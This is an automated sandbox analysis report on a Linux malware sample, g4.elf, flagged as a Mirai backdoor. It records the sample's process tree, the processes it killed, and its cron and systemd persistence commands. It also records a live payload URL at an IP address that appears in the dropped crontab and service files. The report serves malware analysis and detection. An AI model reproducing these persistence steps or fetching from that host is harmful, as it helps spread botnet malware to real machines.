Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
g4.elf

Overview

General Information

Sample name:g4.elf
Analysis ID:1589543
MD5:1629b2e4a70b6c607804bd9cc2ddb623
SHA1:317d02fbc2eea200636c9ef1f80b9e6b64f354e5
SHA256:196a401f079a767f68ebda1402c152c4d11c58ac488cf91fed09f1adbe470f0a
Tags:elfuser-abuse_ch
Infos:

Detection

Score:64
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Drops files in suspicious directories
Executes the "crontab" command typically for achieving persistence
Sample tries to kill multiple processes (SIGKILL)
Sample tries to persist itself using cron
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "systemctl" command used for controlling the systemd system and service manager
Reads system information from the proc file system
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sleeps for long times indicative of sandbox evasion
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1589543
Start date and time:2025-01-12 19:32:11 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 49s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:g4.elf
Detection:MAL
Classification:mal64.spre.troj.evad.linELF@0/6@0/0

Warnings

  • Skipping network analysis since amount of network traffic is too extensive
  • VT rate limit hit for: http://103.136.41.100/g4

Runtime Messages

Command:/tmp/g4.elf
PID:5531
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

  • system is lnxubuntu20
  • g4.elf (PID: 5531, Parent: 5451, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/g4.elf
    • g4.elf New Fork (PID: 5542, Parent: 5531)
    • sh (PID: 5542, Parent: 5531, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload > /dev/null 2>&1"
      • sh New Fork (PID: 5544, Parent: 5542)
      • systemctl (PID: 5544, Parent: 5542, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload
    • g4.elf New Fork (PID: 5548, Parent: 5531)
    • sh (PID: 5548, Parent: 5531, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start hello.service > /dev/null 2>&1"
      • sh New Fork (PID: 5554, Parent: 5548)
      • systemctl (PID: 5554, Parent: 5548, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start hello.service
    • g4.elf New Fork (PID: 5555, Parent: 5531)
    • sh (PID: 5555, Parent: 5531, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"
      • sh New Fork (PID: 5557, Parent: 5555)
      • crontab (PID: 5557, Parent: 5555, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab /tmp/crontab.tmp
    • g4.elf New Fork (PID: 5558, Parent: 5531)
    • sh (PID: 5558, Parent: 5531, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/etc/init.d/hello > /dev/null 2>&1"
      • sh New Fork (PID: 5560, Parent: 5558)
    • g4.elf New Fork (PID: 5562, Parent: 5531)
      • g4.elf New Fork (PID: 5564, Parent: 5562)
        • g4.elf New Fork (PID: 5566, Parent: 5564)
        • g4.elf New Fork (PID: 5570, Parent: 5564)
        • g4.elf New Fork (PID: 5622, Parent: 5564)
          • g4.elf New Fork (PID: 5624, Parent: 5622)
        • g4.elf New Fork (PID: 5630, Parent: 5564)
          • g4.elf New Fork (PID: 5632, Parent: 5630)
  • wrapper-2.0 (PID: 5535, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
  • wrapper-2.0 (PID: 5536, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
  • wrapper-2.0 (PID: 5537, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
  • wrapper-2.0 (PID: 5538, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
  • wrapper-2.0 (PID: 5539, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
  • wrapper-2.0 (PID: 5540, Parent: 3235, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
  • systemd New Fork (PID: 5546, Parent: 5545)
  • snapd-env-generator (PID: 5546, Parent: 5545, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator
  • cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: g4.elfVirustotal: Detection: 38%Perma Link
Source: g4.elfReversingLabs: Detection: 39%
Source: /tmp/g4.elf (PID: 5531)Socket: 127.0.0.1:23476Jump to behavior
Source: g4.elfString found in binary or memory: http://%d.%d.%d.%d/%s
Source: g4.elf, 5531.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5562.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5622.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5624.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5630.1.00007f218c033000.00007f218c039000.rw-.sdmpString found in binary or memory: http://1/wget.sh
Source: hello.service.12.dr, tmp.ypmMkm.38.dr, hello.12.dr, crontab.tmp.12.drString found in binary or memory: http://103.136.41.100/g4
Source: g4.elf, 5531.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5562.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5622.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5624.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5630.1.00007f218c033000.00007f218c039000.rw-.sdmpString found in binary or memory: http://9/curl.sh
Source: g4.elf, 5531.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5562.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5622.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5624.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5630.1.00007f218c033000.00007f218c039000.rw-.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: g4.elf, 5531.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5562.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5622.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5624.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5630.1.00007f218c033000.00007f218c039000.rw-.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

barindex
Sample tries to kill multiple processes (SIGKILL)
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3192, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3249, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3250, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3251, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3252, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3253, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3255, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3272, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3274, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5535, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5536, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5537, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5538, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5539, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5540, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5624)SIGKILL sent: pid: 5622, result: successfulJump to behavior
Source: ELF static info symbol of initial sample.symtab present: no
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3192, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3249, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3250, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3251, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3252, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3253, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3255, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3272, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 3274, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5535, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5536, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5537, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5538, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5539, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5531)SIGKILL sent: pid: 5540, result: successfulJump to behavior
Source: /tmp/g4.elf (PID: 5624)SIGKILL sent: pid: 5622, result: successfulJump to behavior
Source: classification engineClassification label: mal64.spre.troj.evad.linELF@0/6@0/0

Persistence and Installation Behavior

barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/sh (PID: 5557)Crontab executable: /usr/bin/crontab -> crontab /tmp/crontab.tmpJump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 5557)File: /var/spool/cron/crontabs/tmp.ypmMkmJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/5541/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/5541/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3241/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3241/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3241/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3241/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3241/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3483/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3483/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3483/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3483/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1732/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1732/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1732/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1732/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1732/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1730/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1730/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1730/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1730/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1730/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1333/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1333/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1333/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1333/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1333/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1695/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1695/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1695/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1695/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1695/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3235/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3235/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3235/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3235/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3235/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3234/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3234/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3234/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3234/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3234/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1617/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1617/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1617/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1617/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1617/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1615/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1615/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1615/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1615/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1615/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/917/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3879/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3879/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3879/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3879/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1591/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1591/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1591/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1591/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1591/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1623/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1623/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1623/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1623/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1623/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1588/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/764/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/764/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/764/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/764/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/764/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3368/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3368/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3368/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3368/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3368/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1585/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1585/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1585/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1585/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/1585/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3246/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3246/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3246/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3246/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3246/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3488/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3488/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3488/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/3488/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/766/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/766/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/766/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/766/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5570)File opened: /proc/766/cmdlineJump to behavior
Source: /tmp/g4.elf (PID: 5542)Shell command executed: sh -c "systemctl daemon-reload > /dev/null 2>&1"Jump to behavior
Source: /tmp/g4.elf (PID: 5548)Shell command executed: sh -c "systemctl start hello.service > /dev/null 2>&1"Jump to behavior
Source: /tmp/g4.elf (PID: 5555)Shell command executed: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"Jump to behavior
Source: /tmp/g4.elf (PID: 5558)Shell command executed: sh -c "/etc/init.d/hello > /dev/null 2>&1"Jump to behavior
Source: /bin/sh (PID: 5544)Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reloadJump to behavior
Source: /bin/sh (PID: 5554)Systemctl executable: /usr/bin/systemctl -> systemctl start hello.serviceJump to behavior
Source: /tmp/g4.elf (PID: 5531)Reads from proc file: /proc/statJump to behavior
Source: /tmp/g4.elf (PID: 5531)Writes shell script file to disk with an unusual file extension: /etc/init.d/helloJump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Drops files in suspicious directories
Source: /tmp/g4.elf (PID: 5531)File: /etc/init.d/helloJump to dropped file
Source: /tmp/g4.elf (PID: 5624)Sleeps longer then 60s: 60.0sJump to behavior
Source: /tmp/g4.elf (PID: 5632)Sleeps longer then 60s: 60.0sJump to behavior
Source: /tmp/g4.elf (PID: 5531)Queries kernel information via 'uname': Jump to behavior
Source: g4.elf, 5531.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmp, g4.elf, 5562.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmp, g4.elf, 5622.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmp, g4.elf, 5624.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmp, g4.elf, 5630.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/g4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/g4.elf
Source: g4.elf, 5531.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmp, g4.elf, 5562.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmp, g4.elf, 5622.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmp, g4.elf, 5624.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmp, g4.elf, 5630.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmpBinary or memory string: wOV!/etc/qemu-binfmt/arm
Source: g4.elf, 5531.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmpBinary or memory string: tOV/tmp/qemu-open.kNoT9r:
Source: g4.elf, 5531.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmpBinary or memory string: /tmp/qemu-open.kNoT9r
Source: g4.elf, 5531.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmp, g4.elf, 5562.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmp, g4.elf, 5622.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmp, g4.elf, 5624.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmp, g4.elf, 5630.1.0000564f77d1e000.0000564f77e6f000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: g4.elf, 5531.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmp, g4.elf, 5562.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmp, g4.elf, 5622.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmp, g4.elf, 5624.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmp, g4.elf, 5630.1.00007ffd22df3000.00007ffd22e14000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid Accounts1
Scheduled Task/Job		1
Systemd Service		1
Systemd Service		1
Masquerading		1
OS Credential Dumping		11
Security Software Discovery		Remote ServicesData from Local SystemData ObfuscationExfiltration Over Other Network Medium1
Service Stop
CredentialsDomainsDefault AccountsScheduled Task/Job1
Scheduled Task/Job		1
Scheduled Task/Job		1
Virtualization/Sandbox Evasion		LSASS Memory1
Virtualization/Sandbox Evasion		Remote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAt1
Scripting		Logon Script (Windows)Obfuscated Files or InformationSecurity Account Manager1
System Information Discovery		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1589543 Sample: g4.elf Startdate: 12/01/2025 Architecture: LINUX Score: 64 58 Multi AV Scanner detection for submitted file 2->58 9 g4.elf 2->9         started        13 xfce4-panel wrapper-2.0 2->13         started        15 xfce4-panel wrapper-2.0 2->15         started        17 5 other processes 2->17 process3 file4 52 /tmp/crontab.tmp, troff 9->52 dropped 54 /etc/init.d/hello, Bourne-Again 9->54 dropped 60 Sample tries to kill multiple processes (SIGKILL) 9->60 62 Drops files in suspicious directories 9->62 19 g4.elf sh 9->19         started        21 g4.elf 9->21         started        23 g4.elf sh 9->23         started        25 2 other processes 9->25 signatures5 process6 process7 27 sh crontab 19->27         started        31 g4.elf 21->31         started        33 sh systemctl 23->33         started        35 sh systemctl 25->35         started        37 sh 25->37         started        file8 56 /var/spool/cron/crontabs/tmp.ypmMkm, troff 27->56 dropped 64 Sample tries to persist itself using cron 27->64 66 Executes the "crontab" command typically for achieving persistence 27->66 39 g4.elf 31->39         started        41 g4.elf 31->41         started        43 g4.elf 31->43         started        45 g4.elf 31->45         started        signatures9 process10 process11 47 g4.elf 39->47         started        50 g4.elf 41->50         started        signatures12 68 Sample tries to kill multiple processes (SIGKILL) 47->68

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
g4.elf38%VirustotalBrowse
g4.elf39%ReversingLabsLinux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://103.136.41.100/g40%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http://%d.%d.%d.%d/%sg4.elffalse
    		high
    http://103.136.41.100/g4hello.service.12.dr, tmp.ypmMkm.38.dr, hello.12.dr, crontab.tmp.12.drfalse
    • Avira URL Cloud: safe
    		unknown
    http://1/wget.shg4.elf, 5531.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5562.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5622.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5624.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5630.1.00007f218c033000.00007f218c039000.rw-.sdmpfalse
      		high
      http://schemas.xmlsoap.org/soap/encoding/g4.elf, 5531.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5562.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5622.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5624.1.00007f218c033000.00007f218c039000.rw-.sdmp, g4.elf, 5630.1.00007f218c033000.00007f218c039000.rw-.sdmpfalse
        		high
